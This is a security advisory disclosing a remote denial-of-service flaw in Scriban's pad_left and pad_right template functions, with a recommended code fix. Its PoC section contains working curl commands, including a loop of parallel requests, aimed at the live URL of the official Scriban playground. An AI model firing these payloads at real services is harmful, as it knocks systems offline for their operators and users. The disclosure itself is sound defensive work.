Scriban: Uncontrolled Memory Allocation via string.pad_left/pad_right Allows Remote Denial of Service

## Summary The built-in `string.pad_left` and `string.pad_right` template functions in Scriban perform no validation on the `width` parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input — as in the official Scriban.AppService playground deployed on Azure — an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via `OutOfMemoryException`. ## Details `StringFunctions.PadLeft` and `StringFunctions.PadRight` (`src/Scriban/Functions/StringFunctions.cs:1181-1203`) directly delegate to .NET's `String.PadLeft(int)` / `String.PadRight(int)` with no bounds checking: ```csharp // src/Scriban/Functions/StringFunctions.cs:1181-1183 public static string PadLeft(string text, int width) { return (text ?? string.Empty).PadLeft(width); } // src/Scriban/Functions/StringFunctions.cs:1200-1202 public static string PadRight(string text, int width) { return (text ?? string.Empty).PadRight(width); } ``` The `TemplateContext.LimitToString` property (default 1MB, set at `TemplateContext.cs:147`) does **not** prevent the allocation. This limit is only checked during `ObjectToString()` conversion (`TemplateContext.Helpers.cs:101-103`), which runs *after* the string has been fully allocated by `PadLeft`/`PadRight`. The dangerous allocation is the return value of a built-in function — it occurs before output rendering. The Scriban.AppService playground (`src/Scriban.AppService/Program.cs:63-140`) exposes `POST /api/render` with: - No authentication - Template size limit of 1KB (line 71) — the payload fits in 39 bytes - A 2-second timeout via `CancellationTokenSource` (line 118) — but this only cancels the `await Task.Run(...)`, not the running `template.Render()` call (line 122). The BCL `PadLeft` allocation completes atomically before the cancellation can take effect. - Rate limiting of 30 requests/minute (line 25) ## PoC Single request to crash or degrade the AppService: ```bash curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' ``` This 39-byte template causes `PadLeft(500000000)` to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding). **Expected result:** The service returns an error or truncated output safely. **Actual result:** The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws `OutOfMemoryException` crashing the process. Sustained attack with rate limiting: ```bash # 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure for i in $(seq 1 30); do curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' & done wait ``` The `string.pad_right` variant works identically: ```bash curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \u0027\u0027 | string.pad_right 500000000 }}"}' ``` ## Impact - **Remote denial of service** against any application that renders untrusted Scriban templates, including the official Scriban playground at `scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net`. - An unauthenticated attacker can crash the hosting process via `OutOfMemoryException` with a single HTTP request. - With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery. - The existing `LimitToString` and timeout mitigations do not prevent the intermediate memory allocation. ## Recommended Fix Add width validation in `StringFunctions.PadLeft` and `StringFunctions.PadRight` to cap the maximum allocation. A reasonable upper bound is the `LimitToString` value from the `TemplateContext`, or a fixed maximum if the context is not available: ```csharp // src/Scriban/Functions/StringFunctions.cs // Option 1: Fixed reasonable maximum (simplest fix) public static string PadLeft(string text, int width) { if (width < 0) width = 0; if (width > 1_048_576) width = 1_048_576; // 1MB cap return (text ?? string.Empty).PadLeft(width); } public static string PadRight(string text, int width) { if (width < 0) width = 0; if (width > 1_048_576) width = 1_048_576; // 1MB cap return (text ?? string.Empty).PadRight(width); } ``` Alternatively, make the functions context-aware and use `LimitToString` as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.

• github.com/scriban/scriban/security/advisories/GHSA-v66j-x4hw-fv9g (opens in a new tab)
• github.com/scriban/scriban (opens in a new tab)

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